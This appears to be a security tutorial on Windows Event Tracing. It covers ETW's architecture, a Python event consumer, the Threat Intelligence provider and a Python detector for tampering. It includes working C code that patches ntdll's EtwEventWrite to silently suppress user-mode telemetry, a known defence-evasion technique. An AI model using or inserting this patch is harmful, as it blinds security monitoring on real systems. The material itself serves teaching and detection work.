ETW — Event Tracing for Windows

The architecture of ETW, key security-relevant providers, ETW patching as an evasion technique, and the Threat Intelligence provider that operates below user-mode evasion

ETW Architecture

ETW is the Windows tracing infrastructure used by the OS, security tools, and applications for high-performance event logging. Three roles:

• Provider: registers with ETW and writes events. Can be in user mode (DLL/exe) or kernel mode (driver/ntoskrnl). Each provider has a GUID identifying it.
• Controller: starts/stops trace sessions, enables/disables specific providers within a session, sets verbosity levels and keywords.
• Consumer: receives events from a session in real time or from a .etl file. EDRs, WinDefender, and logging tools are consumers.

  ┌──────────────────────────────────────────────────────────┐
  │   Provider (ntdll, kernel, driver)                        │
  │   EtwEventWrite() / EtwWriteEx()                         │
  └───────────────┬──────────────────────────────────────────┘
                  │ if session has subscribed to this provider
  ┌───────────────▼──────────────────────────────────────────┐
  │   ETW Session (kernel buffer)                            │
  │   Real-time or file-backed (.etl)                        │
  │   Named: NT Kernel Logger, Circular Kernel Context Log.. │
  └───────────────┬──────────────────────────────────────────┘
                  │
  ┌───────────────▼──────────────────────────────────────────┐
  │   Consumer (EDR, logman, perfview, WinDefender)          │
  │   OpenTrace() + ProcessTrace() API                       │
  └──────────────────────────────────────────────────────────┘
  

Key Security-Relevant ETW Providers

Consuming ETW in Python

"""
Subscribe to the kernel process provider and print process-create events.
Requires admin rights; uses pyetw or pywintrace wrappers.
"""
from pywintrace import ETWConsumer, TraceProperties

KERNEL_PROCESS_GUID = "{22fb2cd6-0e7b-422b-a0c7-2fad1fd0e716}"

def on_event(event):
    if event.task_name == "ProcessStart":
        pid       = event.properties.get("ProcessID")
        image     = event.properties.get("ImageName")
        ppid      = event.properties.get("ParentProcessID")
        print(f"[+] PID={pid} PPID={ppid} Image={image}")

consumer = ETWConsumer()
consumer.add_provider(KERNEL_PROCESS_GUID, any_keywords=0x10)
consumer.start(on_event)

ETW Patching

User-mode ETW events pass through ntdll!EtwEventWrite. If malware overwrites this function with a no-op, all user-mode ETW events from that process are silently discarded:

// ETW patching: replace EtwEventWrite prologue with xor eax,eax; ret
void PatchETW()
{
    PVOID pEtw = GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
    if (!pEtw) return;

    // Patch: 33 C0 C3 = xor eax,eax; ret
    BYTE patch[] = { 0x33, 0xC0, 0xC3 };
    DWORD oldProt;
    VirtualProtect(pEtw, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
    memcpy(pEtw, patch, sizeof(patch));
    VirtualProtect(pEtw, sizeof(patch), oldProt, &oldProt);
}
// After this: PowerShell AMSI events, .NET JIT events, user-mode
// security events all silently fail. Kernel-mode ETW unaffected.

ETW Threat Intelligence (ETW-TI)

ETW-TI is a special kernel-mode ETW provider (GUID: f4e1897c-bb5d-5668-f1d8-040f4d8dd344) that fires on high-value offensive operations. Unlike ordinary ETW providers, it:

• Runs entirely in the kernel — user-mode ETW patching has no effect on it
• Can only be subscribed to by a Protected Process Light (PPL) consumer — this prevents malware from subscribing and using it to understand what EDRs see
• Provides events with full call stacks, including the stack at the time of the suspicious allocation/injection
• Covers: VirtualAlloc, VirtualProtect, WriteProcessMemory, ReadProcessMemory, SetThreadContext, MapViewOfSection

Detecting ETW Patching

# Python: check if EtwEventWrite in a process is patched
import ctypes, ctypes.wintypes

PROCESS_VM_READ = 0x0010
KNOWN_CLEAN_PROLOGUE = bytes([0x4C, 0x8B, 0xDC, 0x53, 0x56])  # Win10 EtwEventWrite

def check_etw_patch(pid: int) -> bool:
    hProc = ctypes.windll.kernel32.OpenProcess(PROCESS_VM_READ, 0, pid)
    if not hProc:
        return False

    # Get EtwEventWrite address (same in all processes via ntdll ASLR)
    ntdll_base = ctypes.windll.kernel32.GetModuleHandleW("ntdll.dll")
    etw_offset  = ctypes.windll.kernel32.GetProcAddress(ntdll_base, b"EtwEventWrite")
    if not etw_offset:
        ctypes.windll.kernel32.CloseHandle(hProc)
        return False

    buf  = (ctypes.c_ubyte * 5)()
    read = ctypes.c_size_t()
    ctypes.windll.kernel32.ReadProcessMemory(
        hProc, ctypes.c_void_p(etw_offset),
        buf, 5, ctypes.byref(read)
    )
    ctypes.windll.kernel32.CloseHandle(hProc)

    actual = bytes(buf[:5])
    if actual != KNOWN_CLEAN_PROLOGUE:
        print(f"[!] PID {pid}: EtwEventWrite patched: {actual.hex()}")
        return True
    return False

Q & A